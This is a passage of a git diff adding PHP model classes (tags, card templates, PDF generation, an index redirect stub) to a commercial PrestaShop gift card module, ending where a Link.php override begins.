+1,177 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +class GiftCardTag extends ObjectModel { + /** + * + * @var integer Language id + */ + public $id_lang; + + /** + * + * @var string Name + */ + public $name; + + /** + * + * @see ObjectModel::$definition + */ + public static $definition = array ( + 'table' => 'giftcardtag', + 'primary' => 'id_gift_card_tag', + 'fields' => array ( + 'id_lang' => array ( + 'type' => self::TYPE_INT, + 'validate' => 'isUnsignedId', + 'required' => true + ), + 'name' => array ( + 'type' => self::TYPE_STRING, + 'validate' => 'isGenericName', + 'required' => true, + 'size' => 32 + ) + ) + ); + public function __construct($id = null, $name = null, $id_lang = null) + { + $this->def = Tag::getDefinition ( $this ); + $this->setDefinitionRetrocompatibility (); + + if ($id) + parent::__construct ( $id ); + else if ($name && Validate::isGenericName ( $name ) && $id_lang && Validate::isUnsignedId ( $id_lang )) + { + $row = Db::getInstance ( _PS_USE_SQL_SLAVE_ )->getRow ( ' + SELECT * + FROM `'._DB_PREFIX_.'giftcardtag` t + WHERE `name` LIKE \''.pSQL ( $name ).'\' AND `id_lang` = '.(int)$id_lang ); + if ($row) + { + $this->id = (int)$row['id_gift_card_tag']; + $this->id_lang = (int)$row['id_lang']; + $this->name = $row['name']; + } + } + } + public function add($autodate = true, $null_values = false) + { + if (! parent::add ( $autodate, $null_values )) + return false; + return true; + } + + /** + * Add several tags in database and link it to a gift_card_template + * + * @param integer $id_lang + * Language id + * @param integer $id_gift_card_template + * gift_card_template id to link tags with + * @param string|array $tag_list + * List of tags, as array or as a string with comas + * @return boolean Operation success + */ + public static function addTags($id_lang, $id_gift_card_template, $tag_list, $separator = ',') + { + if (! Validate::isUnsignedId ( $id_lang )) + return false; + + if (! is_array ( $tag_list )) + $tag_list = array_filter ( array_unique ( array_map ( 'trim', preg_split ( '#\\'.$separator.'#', $tag_list, null, PREG_SPLIT_NO_EMPTY ) ) ) ); + + $list = array (); + if (is_array ( $tag_list )) + foreach ($tag_list as $tag) + { + if (! Validate::isGenericName ( $tag )) + return false; + $tag = trim ( Tools::substr ( $tag, 0, self::$definition['fields']['name']['size'] ) ); + $tag_obj = new GiftCardTag ( null, $tag, (int)$id_lang ); + + /* Tag does not exist in database */ + if (! Validate::isLoadedObject ( $tag_obj )) + { + $tag_obj->name = $tag; + $tag_obj->id_lang = (int)$id_lang; + $tag_obj->add (); + } + if (! in_array ( $tag_obj->id, $list )) + $list[] = $tag_obj->id; + } + $data = ''; + foreach ($list as $tag) + $data .= '('.(int)$tag.','.(int)$id_gift_card_template.'),'; + $data = rtrim ( $data, ',' ); + + return Db::getInstance ()->execute ( ' + INSERT INTO `'._DB_PREFIX_.'giftcardtemplate_tag` (`id_gift_card_tag`, `id_gift_card_template`) + VALUES '.$data ); + } + public static function getTags(Context $context = null) + { + if (! $context) + $context = Context::getContext (); + $id_lang = $context->language->id; + $result = Db::getInstance ( _PS_USE_SQL_SLAVE_ )->executeS ( ' + SELECT t.`id_gift_card_tag`, t.`name` + FROM '._DB_PREFIX_.'giftcardtag t + WHERE t.`id_lang`='.(int)$id_lang ); + return $result; + } + public static function getTemplateTags($id_gift_card_template) + { + if (! $tmp = Db::getInstance ( _PS_USE_SQL_SLAVE_ )->executeS ( ' + SELECT t.`id_lang`, t.`name` + FROM '._DB_PREFIX_.'giftcardtag t + LEFT JOIN '._DB_PREFIX_.'giftcardtemplate_tag tt ON (tt.id_gift_card_tag = t.id_gift_card_tag) + WHERE tt.`id_gift_card_template`='.(int)$id_gift_card_template )) + return false; + $result = array (); + foreach ($tmp as $tag) + $result[$tag['id_lang']][] = $tag['name']; + return $result; + } + public function getTemplates($associated = true, Context $context = null) + { + if (! $context) + $context = Context::getContext (); + $id_lang = $this->id_lang ? $this->id_lang : $context->language->id; + + if (! $this->id && $associated) + return array (); + + $in = $associated ? 'IN' : 'NOT IN'; + return Db::getInstance ( _PS_USE_SQL_SLAVE_ )->executeS ( ' + SELECT tl.name, tl.id_gift_card_template + FROM `'._DB_PREFIX_.'giftcardtemplate` t + LEFT JOIN `'._DB_PREFIX_.'giftcardtemplate_lang` tl ON t.id_gift_card_template = tl.id_gift_card_template + WHERE tl.id_lang = '.(int)$id_lang.' + '.($this->id ? ('AND t.id_gift_card_template '.$in.' (SELECT tt.id_gift_card_template FROM `'._DB_PREFIX_.'giftcardtemplate_tag` tt WHERE tt.id_tag = '.(int)$this->id.')') : '').' + ORDER BY tl.name' ); + } + public static function deleteTagsForTemplate($id_gift_card_template) + { + return Db::getInstance ()->execute ( 'DELETE FROM `'._DB_PREFIX_.'giftcardtemplate_tag` WHERE `id_gift_card_template` = '.(int)$id_gift_card_template ); + } +} + + diff --git a/modules/giftcard/models/GiftCardTemplate.php b/modules/giftcard/models/GiftCardTemplate.php new file mode 100755 index 0000000..4f30a94 --- /dev/null +++ b/modules/giftcard/models/GiftCardTemplate.php @@ -0,0 +1,600 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +class GiftCardTemplate extends ObjectModel { + public $id_gift_card_template; + public $issvg = 0; + public $isdefault = 0; + public $name; + public $id_lang_display; + public $active = 0; + public $date_add; + public $date_upd; + + /* Variable to customize the template */ + + + /*used to customize the giftcard*/ + public $var_price_default = 0; + public $var_code_default = ''; + + /* field fixed text */ + public $var_text1; + public $var_text2; + public $var_text3; + public $var_text4; + public $var_text5; + public $var_text6; + public $var_text7; + public $var_text8; + public $var_text9; + public $var_text10; + /* field fixed color */ + public $var_color1; + public $var_color2; + public $var_color3; + public $var_color4; + public $var_color5; + public $var_color6; + public $var_color7; + public $var_color8; + public $var_color9; + public $var_color10; + /* field fixed imgpath */ + public $var_imgpath1; + public $var_imgpath2; + /** + * + * @var int access rights of created folders (octal) + */ + protected static $access_rights = 0775; + /** + * * @var array Tags + */ + public $tags; + public $img_dir; + public $source_index; + protected static $images_types_cache = null; + protected $table = 'giftcardtemplate'; + protected $identifier = 'id_gift_card_template'; + public static $definition = array ( + 'table' => 'giftcardtemplate', + 'primary' => 'id_gift_card_template', + 'multilang' => true, + 'fields' => array ( + 'issvg' => array ( + 'type' => self::TYPE_BOOL, + 'validate' => 'isBool', + 'required' => true + ), + 'isdefault' => array ( + 'type' => self::TYPE_BOOL, + 'validate' => 'isBool', + 'required' => true + ), + 'name' => array ( + 'type' => self::TYPE_STRING, + 'lang' => true, + 'validate' => 'isCatalogName', + 'required' => true, + 'size' => 128 + ), + 'var_text1' => array ( + 'type' => self::TYPE_STRING, + 'lang' => true, + 'validate' => 'isCatalogName', + 'required' => false, + 'size' => 255 + ), + 'var_text2' => array ( + 'type' => self::TYPE_STRING, + 'lang' => true, + 'validate' => 'isCatalogName', + 'required' => false, + 'size' => 255 + ), + 'var_text3' => array ( + 'type' => self::TYPE_STRING, + 'lang' => true, + 'validate' => 'isCatalogName', + 'required' => false, + 'size' => 255 + ), + 'var_text4' => array ( + 'type' => self::TYPE_STRING, + 'lang' => true, + 'validate' => 'isCatalogName', + 'required' => false, + 'size' => 255 + ), + 'var_text5' => array ( + 'type' => self::TYPE_STRING, + 'lang' => true, + 'validate' => 'isCatalogName', + 'required' => false, + 'size' => 255 + ), + 'var_text6' => array ( + 'type' => self::TYPE_STRING, + 'lang' => true, + 'validate' => 'isCatalogName', + 'required' => false, + 'size' => 255 + ), + 'var_text7' => array ( + 'type' => self::TYPE_STRING, + 'lang' => true, + 'validate' => 'isCatalogName', + 'required' => false, + 'size' => 255 + ), + 'var_text8' => array ( + 'type' => self::TYPE_STRING, + 'lang' => true, + 'validate' => 'isCatalogName', + 'required' => false, + 'size' => 255 + ), + 'var_text9' => array ( + 'type' => self::TYPE_STRING, + 'lang' => true, + 'validate' => 'isCatalogName', + 'required' => false, + 'size' => 255 + ), + 'var_text10' => array ( + 'type' => self::TYPE_STRING, + 'lang' => true, + 'validate' => 'isCatalogName', + 'required' => false, + 'size' => 255 + ), + 'var_color1' => array ( + 'type' => self::TYPE_STRING, + 'validate' => 'isColor' + ), + 'var_color2' => array ( + 'type' => self::TYPE_STRING, + 'validate' => 'isColor' + ), + 'var_color3' => array ( + 'type' => self::TYPE_STRING, + 'validate' => 'isColor' + ), + 'var_color4' => array ( + 'type' => self::TYPE_STRING, + 'validate' => 'isColor' + ), + 'var_color5' => array ( + 'type' => self::TYPE_STRING, + 'validate' => 'isColor' + ), + 'var_color6' => array ( + 'type' => self::TYPE_STRING, + 'validate' => 'isColor' + ), + 'var_color7' => array ( + 'type' => self::TYPE_STRING, + 'validate' => 'isColor' + ), + 'var_color8' => array ( + 'type' => self::TYPE_STRING, + 'validate' => 'isColor' + ), + 'var_color9' => array ( + 'type' => self::TYPE_STRING, + 'validate' => 'isColor' + ), + 'var_color10' => array ( + 'type' => self::TYPE_STRING, + 'validate' => 'isColor' + ), + 'var_imgpath1' => array ( + 'type' => self::TYPE_STRING + ), + 'var_imgpath2' => array ( + 'type' => self::TYPE_STRING + ), + 'var_code_default' => array ( + 'type' => self::TYPE_STRING + ), + 'var_price_default' => array ( + 'type' => self::TYPE_STRING + ), + 'active' => array ( + 'type' => self::TYPE_BOOL, + 'validate' => 'isBool', + 'required' => true + ), + 'id_lang_display' => array ( + 'type' => self::TYPE_INT, + 'validate' => 'isUnsignedId' + ), + 'date_add' => array ( + 'type' => self::TYPE_DATE, + 'validate' => 'isDateFormat' + ), + 'date_upd' => array ( + 'type' => self::TYPE_DATE, + 'validate' => 'isDateFormat' + ) + ) + ); + public function __construct($id = null, $id_lang = null) + { + parent::__construct ( $id, $id_lang ); + $this->source_index = _PS_PROD_IMG_DIR_.'index.php'; + $this->img_dir = _PS_ROOT_DIR_.'/modules/giftcard/img/templates/'; + } + public function add($autodate = true, $nullValues = false) + { + if (! $this->isdefault && ! self::getDefault ()) + $this->isdefault = true; + return (parent::add ()); + } + public static function getTemplates($id_lang = null, $active = false, $id_shop = null) + { + if ($id_lang === null) + $id_lang = (int)Configuration::get ( 'PS_LANG_DEFAULT' ); + + $sql = ' + SELECT t.*,tl.* + FROM `'._DB_PREFIX_.'giftcardtemplate` t + LEFT JOIN `'._DB_PREFIX_.'giftcardtemplate_lang` tl ON (t.`id_gift_card_template` = tl.`id_gift_card_template`) and tl.id_lang = '.$id_lang.' + '.($id_shop && Shop::isFeatureActive()?'JOIN `'._DB_PREFIX_.'giftcardtemplate_shop` ts ON (ts.`id_gift_card_template` = t.`id_gift_card_template` AND ts.id_shop ='.$id_shop.')':'').' + WHERE 1=1 + '.($active ? ' AND active=1 ' : '').' AND (t.id_lang_display=0 OR t.id_lang_display='.(int)$id_lang.')'; + $result = Db::getInstance ()->ExecuteS ( $sql ); + return ($result); + } + public static function getTemplatesGroupByTag($id_lang = null, $active = false, $id_shop = null) + { + if ($id_lang === null) + $id_lang = (int)Configuration::get ( 'PS_LANG_DEFAULT' ); + $sql = 'SELECT tt.id_gift_card_tag,t.*,tl.`name` + FROM `'._DB_PREFIX_.'giftcardtemplate` t + INNER JOIN `'._DB_PREFIX_.'giftcardtemplate_lang` tl ON tl.id_gift_card_template = t.id_gift_card_template AND tl.id_lang = 1 + INNER JOIN `'._DB_PREFIX_.'giftcardtemplate_tag` tt ON tt.id_gift_card_template = t.id_gift_card_template + '.($id_shop && Shop::isFeatureActive()?'JOIN `'._DB_PREFIX_.'giftcardtemplate_shop` ts ON (ts.`id_gift_card_template` = t.`id_gift_card_template` AND ts.id_shop ='.$id_shop.')':'').' + WHERE 1=1'.($active ? ' AND active=1 ' : ''); + $result = Db::getInstance ()->ExecuteS ( $sql ); + $templategroupbytags = array (); + foreach ($result as $row) + $templategroupbytags[$row['id_gift_card_tag']][] = $row; + return $templategroupbytags; + } + public function getTags($id_lang) + { + if (is_null ( $this->tags )) + $this->tags = GiftCardTag::getTemplateTags ( $this->id ); + + if (! ($this->tags && key_exists ( $id_lang, $this->tags ))) + return ''; + + $result = ''; + foreach ($this->tags[$id_lang] as $tag_name) + $result .= $tag_name.', '; + + return rtrim ( $result, ', ' ); + } + public function delete() + { + if (! parent::delete ()) + return false; + if (! $this->deleteTags ()) + return false; + if (is_dir ( $this->img_dir.$this->id ) && isset ( $this->id ) && (int)$this->id > 0) + { + $languages = Language::getLanguages ( false ); + if (file_exists ( $this->img_dir.$this->id.'/'.$this->id.'.jpg' )) + @unlink ( $this->img_dir.$this->id.'/'.$this->id.'.jpg' ); + if (file_exists ( $this->img_dir.$this->id.'/'.$this->id.'.svg' )) + @unlink ( $this->img_dir.$this->id.'/'.$this->id.'.svg' ); + + $files_to_delete = array (); + foreach ($languages as $language) + $files_to_delete[] = $this->img_dir.$this->id.'/'.$this->id.'-'.$language['id_lang'].'.jpg'; + + $image_types = self::getImagesTypes (); + foreach ($image_types as $image_type) + $files_to_delete[] = $this->img_dir.$this->id.'/'.$this->id.'-'.$image_type['name'].'.jpg'; + + foreach ($image_types as $image_type) + foreach ($languages as $language) + $files_to_delete[] = $this->img_dir.$this->id.'/'.$this->id.'-'.$image_type['name'].'-'.$language['id_lang'].'.jpg'; + + // delete index.php + $files_to_delete[] = $this->img_dir.$this->id.'/'.'index.php'; + // Delete tmp images + $this->unlinkTmpImg ( $languages ); + foreach ($files_to_delete as $file) + if (file_exists ( $file ) && ! @unlink ( $file )) + return false; + @rmdir ( $this->img_dir.$this->id ); + } + return true; + } + public static function getImagesTypes() + { + if (! isset ( self::$images_types_cache )) + { + self::$images_types_cache = array (); + $imageTypeFront = array (); + $imageTypeFront['name'] = 'front'; + $imageTypeFront['width'] = (int)Configuration::get ( 'GIFTCARD_FRONT_IMG_WIDTH' ); + $imageTypeFront['height'] = (int)Configuration::get ( 'GIFTCARD_FRONT_IMG_HEIGHT' ); + self::$images_types_cache[] = $imageTypeFront; + $imageTypeThickbox = array (); + $imageTypeThickbox['name'] = 'thickbox'; + $imageTypeThickbox['width'] = (int)Configuration::get ( 'GIFTCARD_FRONT_LIMG_WIDTH' ); + $imageTypeThickbox['height'] = (int)Configuration::get ( 'GIFTCARD_FRONT_LIMG_HEIGHT' ); + self::$images_types_cache[] = $imageTypeThickbox; + } + return self::$images_types_cache; + } + public function unlinkTmpImg($languages = null) + { + if (is_dir ( $this->img_dir.$this->id ) && isset ( $this->id ) && (int)$this->id > 0) + { + $files_to_delete = array (); + $files_to_delete[] = _PS_TMP_IMG_DIR_.'giftcardtemplate_'.$this->id.'.jpg'; + $files_to_delete[] = _PS_TMP_IMG_DIR_.'giftcardtemplatemini_'.$this->id.'.jpg'; + if (! isset ( $languages )) + $languages = Language::getLanguages ( false ); + foreach ($languages as $language) + { + $files_to_delete[] = _PS_TMP_IMG_DIR_.'giftcardtemplate_'.$this->id.'-'.$language['id_lang'].'.jpg'; + $files_to_delete[] = _PS_TMP_IMG_DIR_.'giftcardtemplatemini_'.$this->id.'-'.$language['id_lang'].'.jpg'; + } + foreach ($files_to_delete as $file) + if (file_exists ( $file ) && ! @unlink ( $file )) + return false; + } + } + /** + * Returns the path where a product image should be created (without file format) + * + * @return string path + */ + public function getPathForCreation() + { + if (! $this->id) + return false; + $path = $this->getImgPath (); + $this->createImgFolder (); + return _PS_PROD_IMG_DIR_.$path; + } + public static function duplicate($id_gift_card_template_old) + { + if (Validate::isLoadedObject ( $giftCardTemplate = new GiftCardTemplate ( $id_gift_card_template_old ) )) + { + unset ( $giftCardTemplate->id ); + unset ( $giftCardTemplate->id_gift_card_template ); + $giftCardTemplate->active = 0; + $giftCardTemplate->isdefault = false; + if (Tools::getValue ( 'noimage' )) + $giftCardTemplate->issvg = false; + if ($giftCardTemplate->add ()) + { + + if (! GiftCardTemplate::duplicateTags ( $id_gift_card_template_old, $giftCardTemplate->id )) + return false; + if (! Tools::getValue ( 'noimage' )) + { + + if (! $giftCardTemplate->createImgFolder ()) + return false; + $languages = Language::getLanguages ( false ); + $template_path_old = $giftCardTemplate->img_dir.$id_gift_card_template_old.'/'; + $template_path_new = $giftCardTemplate->img_dir.$giftCardTemplate->id.'/'; + if (file_exists ( $template_path_old.$id_gift_card_template_old.'.svg' )) + copy ( $template_path_old.$id_gift_card_template_old.'.svg', $template_path_new.$giftCardTemplate->id.'.svg' ); + if (file_exists ( $template_path_old.$id_gift_card_template_old.'.jpg' )) + copy ( $template_path_old.$id_gift_card_template_old.'.jpg', $template_path_new.$giftCardTemplate->id.'.jpg' ); + foreach ($languages as $language) + { + if (file_exists ( $template_path_old.$id_gift_card_template_old.'-'.$language['id_lang'].'.jpg' )) + copy ( $template_path_old.$id_gift_card_template_old.'-'.$language['id_lang'].'.jpg', $template_path_new.$giftCardTemplate->id.'-'.$language['id_lang'].'.jpg' ); + } + $imagesTypes = self::getImagesTypes (); + foreach ($imagesTypes as $k => $image_type) + { + if (file_exists ( $template_path_old.$id_gift_card_template_old.'-'.$image_type['name'].'.jpg' )) + copy ( $template_path_old.$id_gift_card_template_old.'-'.$image_type['name'].'.jpg', $template_path_new.$giftCardTemplate->id.'-'.$image_type['name'].'.jpg' ); + foreach ($languages as $language) + { + if (file_exists ( $template_path_old.$id_gift_card_template_old.'-'.$image_type['name'].'-'.$language['id_lang'].'.jpg' )) + copy ( $template_path_old.$id_gift_card_template_old.'-'.$image_type['name'].'-'.$language['id_lang'].'.jpg', $template_path_new.$giftCardTemplate->id.'-'.$image_type['name'].'-'.$language['id_lang'].'.jpg' ); + } + } + } + } + else + return (false); + } + else + return (false); + return ($giftCardTemplate); + } + public static function duplicateTags($id_gift_card_template_old, $id_gift_card_template_new) + { + $tags = Db::getInstance ()->executeS ( 'SELECT `id_gift_card_tag` FROM `'._DB_PREFIX_.'giftcardtemplate_tag` WHERE `id_gift_card_template` = '.(int)$id_gift_card_template_old ); + if (! Db::getInstance ()->NumRows ()) + return true; + $data = array (); + foreach ($tags as $tag) + $data[] = array ( + 'id_gift_card_template' => (int)$id_gift_card_template_new, + 'id_gift_card_tag' => (int)$tag['id_gift_card_tag'] + ); + return Db::getInstance ()->insert ( 'giftcardtemplate_tag', $data ); + } + public function deleteTags() + { + return Db::getInstance ()->delete ( 'giftcardtemplate_tag', 'id_gift_card_template = '.(int)$this->id ) && Db::getInstance ()->delete ( 'giftcardtag', 'id_gift_card_tag NOT IN (SELECT id_gift_card_tag FROM '._DB_PREFIX_.'giftcardtemplate_tag)' ); + } + public function initCustomVar() + { + $this->var_price_default = 0; + $this->var_code_default = ''; + for ($i = 1; $i <= 10; $i ++) + { + $varfield = 'var_text'.$i; + $this->$varfield = null; + $varfield = 'var_color'.$i; + $this->$varfield = null; + } + } + public function updateCustomVar($availableVars = array()) + { + $languages = Language::getLanguages ( false ); + for ($i = 1; $i <= 10; $i ++) + { + if (isset ( $availableVars['var_text'.$i] )) + { + $varfield = 'var_text'.$i; + $textL = array (); + foreach ($languages as $language) + { + $id_lang = (int)$language['id_lang']; + $textL[$id_lang] = $availableVars['var_text'.$i]; + } + $this->$varfield = $textL; + } + if (isset ( $availableVars['var_color'.$i] )) + { + $varfield = 'var_color'.$i; + $this->$varfield = $availableVars['var_color'.$i]; + } + } + if (isset ( $availableVars['giftcard_price'] ) && (int)$availableVars['giftcard_price'] > 0) + $this->var_price_default = (int)$availableVars['giftcard_price']; + if (isset ( $availableVars['giftcard_code'] )) + $this->var_code_default = (string)$availableVars['giftcard_code']; + } + public static function getDefault() + { + $result = Db::getInstance ()->getRow ( ' + SELECT t.id_gift_card_template + FROM `'._DB_PREFIX_.'giftcardtemplate` t + WHERE t.isdefault=1' ); + if (! $result) + return false; + $id_gift_card_template = (int)$result['id_gift_card_template']; + $giftCardTemplate = new GiftCardTemplate ( $id_gift_card_template ); + return ($giftCardTemplate); + } + public function generateProductImage($id_product = null) + { + $id_shop = (int)Configuration::get ( 'PS_SHOP_DEFAULT' ); + $products_todo = array (); + $template_path = $this->img_dir.$this->id.'/'; + $default_language = new Language ( (int)Configuration::get ( 'PS_LANG_DEFAULT' ) ); + $imagesTypes = ImageType::getImagesTypes ( 'products' ); + if ($id_product == null) + { + $giftCardIds = GiftCardProduct::getGiftCardsId (); + foreach ($giftCardIds as $key => $row) + $products_todo[] = $key; + } + else + $products_todo[] = (int)$id_product; + foreach ($products_todo as $key => $id_product) + { + $giftCardProduct = new GiftCardProduct ( (int)$id_product ); + $image = Image::getCover ( $giftCardProduct->id ); + $id_image = 0; + if (! $image) + { + $image = new Image (); + $image->id_product = (int)$giftCardProduct->id; + $image->position = 1; + $image->cover = true; + $image->add (); + $id_image = $image->id; + } + else + $image = new Image ( $image['id_image'] ); + + if (! $new_path = $image->getPathForCreation ()) + return false; + elseif ($this->issvg) + { + $svgparams = array (); + $svgparams['price'] = round ( $giftCardProduct->amount ); + $svg = GiftCardTools::buildTemplateSvgV2 ( $this, $svgparams, $default_language->id ); + if (! GiftCardTools::resizeImageWithTemplate ( $svg, $new_path.'.jpg', 0, 1900, 620, 'jpg' )) + return false; + foreach ($imagesTypes as $k => $image_type) + { + if (! GiftCardTools::resizeImageWithTemplate ( $svg, $new_path.'-'.Tools::stripslashes ( $image_type['name'] ).'.jpg', 0, $image_type['width'], $image_type['height'], 'jpg' )) + return false; + } + } + else + { + if (! ImageManager::resize ( $template_path.$this->id.'.jpg', $new_path.'.jpg' )) + return false; + foreach ($imagesTypes as $k => $image_type) + { + if (! ImageManager::resize ( $template_path.$this->id.'.jpg', $new_path.'-'.Tools::stripslashes ( $image_type['name'] ).'.'.$image->image_format, $image_type['width'], $image_type['height'], 'jpg' )) + return false; + } + } + @unlink ( _PS_TMP_IMG_DIR_.'product_'.$giftCardProduct->id.'.jpg' ); + @unlink ( _PS_TMP_IMG_DIR_.'product_mini_'.$giftCardProduct->id.'.jpg' ); + @unlink ( _PS_TMP_IMG_DIR_.'product_mini_'.$giftCardProduct->id.'_'.$id_shop.'.jpg' ); + @unlink ( _PS_TMP_IMG_DIR_.'giftcardproduct_mini_'.$giftCardProduct->id.'.jpg' ); + @unlink ( _PS_TMP_IMG_DIR_.'giftcardproduct_mini_'.$giftCardProduct->id.'_'.$id_shop.'.jpg' ); + @unlink ( _PS_TMP_IMG_DIR_.'giftcardtemplatemini_'.$giftCardProduct->id.'_'.$id_shop.'.jpg' ); + Hook::exec ( 'actionWatermark', array ( + 'id_image' => $image->id, + 'id_product' => $giftCardProduct->id + ) ); + } + } + public function changeToDefault() + { + $result = Db::getInstance ()->update ( 'giftcardtemplate', array ( + 'isdefault' => 0 + ) ); + if ($result) + $result &= Db::getInstance ()->update ( 'giftcardtemplate', array ( + 'isdefault' => 1 + ), '`id_gift_card_template` = '.(int)$this->id ); + $result &= $this->generateProductImage (); + return $result; + } + public function createImgFolder() + { + if (! $this->id) + return false; + $template_dir = $this->img_dir.$this->id.'/'; + if (! file_exists ( $template_dir )) + { + // Apparently sometimes mkdir cannot set the rights, and sometimes chmod can't. Trying both. + $success = @mkdir ( $template_dir, self::$access_rights, true ); + $chmod = @chmod ( $template_dir, self::$access_rights ); + // Create an index.php file in the new folder + if (($success || $chmod) && ! file_exists ( $template_dir.'index.php' ) && file_exists ( $this->source_index )) + return @copy ( $this->source_index, $template_dir.'index.php' ); + } + return true; + } +} diff --git a/modules/giftcard/models/PDFGiftCard.php b/modules/giftcard/models/PDFGiftCard.php new file mode 100755 index 0000000..559b8bc --- /dev/null +++ b/modules/giftcard/models/PDFGiftCard.php @@ -0,0 +1,249 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +require_once (_PS_TOOL_DIR_.'tcpdf/config/lang/eng.php'); +require_once (_PS_TOOL_DIR_.'tcpdf/tcpdf.php'); + +/** + * + * @since 1.5 + */ +class PDFGiftCard extends TCPDF { + const DEFAULT_FONT = 'helvetica'; + public $header; + public $footer; + public $content; + public $font; + public $font_by_lang = array ( + 'ja' => 'cid0jp', + 'bg' => 'freeserif', + 'ru' => 'freeserif', + 'uk' => 'freeserif', + 'mk' => 'freeserif', + 'el' => 'freeserif', + 'en' => 'dejavusans', + 'vn' => 'dejavusans', + 'pl' => 'dejavusans', + 'ar' => 'dejavusans', + 'fa' => 'dejavusans', + 'ur' => 'dejavusans', + 'az' => 'dejavusans', + 'ca' => 'dejavusans', + 'gl' => 'dejavusans', + 'hr' => 'dejavusans', + 'sr' => 'dejavusans', + 'si' => 'dejavusans', + 'cs' => 'dejavusans', + 'sk' => 'dejavusans', + 'ka' => 'dejavusans', + 'he' => 'dejavusans', + 'lo' => 'dejavusans', + 'lv' => 'dejavusans', + 'tr' => 'dejavusans', + 'ko' => 'cid0kr', + 'zh' => 'cid0cs', + 'tw' => 'cid0cs', + 'th' => 'freeserif' + ); + public function __construct($use_cache = false) + { + parent::__construct ( 'P', 'mm', 'A4', true, 'UTF-8', $use_cache, false ); + } + + /** + * set the PDF encoding + * + * @param string $encoding + */ + public function setEncoding($encoding) + { + $this->encoding = $encoding; + } + + /** + * + * + * + * set the PDF header + * + * @param string $header + * HTML + */ + public function createHeader($header) + { + $this->header = $header; + } + + /** + * + * + * + * set the PDF footer + * + * @param string $footer + * HTML + */ + public function createFooter($footer) + { + $this->footer = $footer; + } + + /** + * + * + * + * create the PDF content + * + * @param string $content + * HTML + */ + public function createContent($content) + { + $this->content = $content; + } + + /** + * Change the font + * + * @param string $iso_lang + */ + public function setFontForLang($iso_lang) + { + $this->font = PDFGenerator::DEFAULT_FONT; + if (array_key_exists ( $iso_lang, $this->font_by_lang )) + $this->font = $this->font_by_lang[$iso_lang]; + + $this->setHeaderFont ( array ( + $this->font, + '', + PDF_FONT_SIZE_MAIN + ) ); + $this->setFooterFont ( array ( + $this->font, + '', + PDF_FONT_SIZE_MAIN + ) ); + + $this->setFont ( $this->font ); + } + + /** + * + * @see TCPDF::Header() + */ + public function Header() + { + $this->writeHTML ( $this->header ); + } + + /** + * + * @see TCPDF::Footer() + */ + public function Footer() + { + $this->writeHTML ( $this->footer ); + } + + /** + * Render the pdf file + * + * @param string $filename + * @param $display : + * true:display to user, false:save, 'I','D','S' as fpdf display + * @throws PrestaShopException + */ + public function render($filename, $display = true) + { + if (empty ( $filename )) + throw new PrestaShopException ( 'Missing filename.' ); + + $this->lastPage (); + + if ($display === true) + $output = 'D'; + elseif ($display === false) + $output = 'S'; + elseif ($display == 'D') + $output = 'D'; + elseif ($display == 'S') + $output = 'S'; + else + $output = 'I'; + + return $this->output ( $filename, $output ); + } + + /** + * Write a PDF page + */ + public function writePage() + { + $this->SetHeaderMargin ( 0 ); + $this->SetFooterMargin ( 0 ); + $this->setPrintHeader ( false ); + $this->setPrintFooter ( false ); + $this->setMargins ( 2, 2, 2 ); + + // $img_file = "/home/rdevera/Downloads/splashbg.jpg"; + + $this->SetAutoPageBreak ( true, PDF_MARGIN_BOTTOM ); + $this->AddPage (); + // $this->Image($img_file, 0, 0, 210, 297, '', '', '', false, 300, '', false, false, 0); + $this->writeHTML ( $this->content, true, false, true, false, '' ); + } + + /** + * Override of TCPDF::getRandomSeed() - getmypid() is blocked on several hosting + */ + protected function getRandomSeed($seed = '') + { + $seed .= microtime (); + if (function_exists ( 'openssl_random_pseudo_bytes' ) && (Tools::strtoupper ( Tools::substr ( PHP_OS, 0, 3 ) ) !== 'WIN')) + { + // this is not used on windows systems because it is very slow for a know bug + $seed .= openssl_random_pseudo_bytes ( 512 ); + } + else + { + for ($i = 0; $i < 23; ++ $i) + $seed .= uniqid ( '', true ); + } + $seed .= uniqid ( '', true ); + $seed .= rand (); + $seed .= __FILE__; + $seed .= $this->bufferlen; + if (isset ( $_SERVER['REMOTE_ADDR'] )) + $seed .= $_SERVER['REMOTE_ADDR']; + if (isset ( $_SERVER['HTTP_USER_AGENT'] )) + $seed .= $_SERVER['HTTP_USER_AGENT']; + if (isset ( $_SERVER['HTTP_ACCEPT'] )) + $seed .= $_SERVER['HTTP_ACCEPT']; + if (isset ( $_SERVER['HTTP_ACCEPT_ENCODING'] )) + $seed .= $_SERVER['HTTP_ACCEPT_ENCODING']; + if (isset ( $_SERVER['HTTP_ACCEPT_LANGUAGE'] )) + $seed .= $_SERVER['HTTP_ACCEPT_LANGUAGE']; + if (isset ( $_SERVER['HTTP_ACCEPT_CHARSET'] )) + $seed .= $_SERVER['HTTP_ACCEPT_CHARSET']; + $seed .= rand (); + $seed .= uniqid ( '', true ); + $seed .= microtime (); + return $seed; + } +} diff --git a/modules/giftcard/models/index.php b/modules/giftcard/models/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/models/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/override/classes/Link.php b/modules/giftcard/override/classes/Link.php new file mode 100755 index 0000000..bf41af0 --- /dev/null +++ b/modules/giftcard/override/classes/Link.php @@ -0,0 +1,192 @@ + + * @copyright Copyright (c) 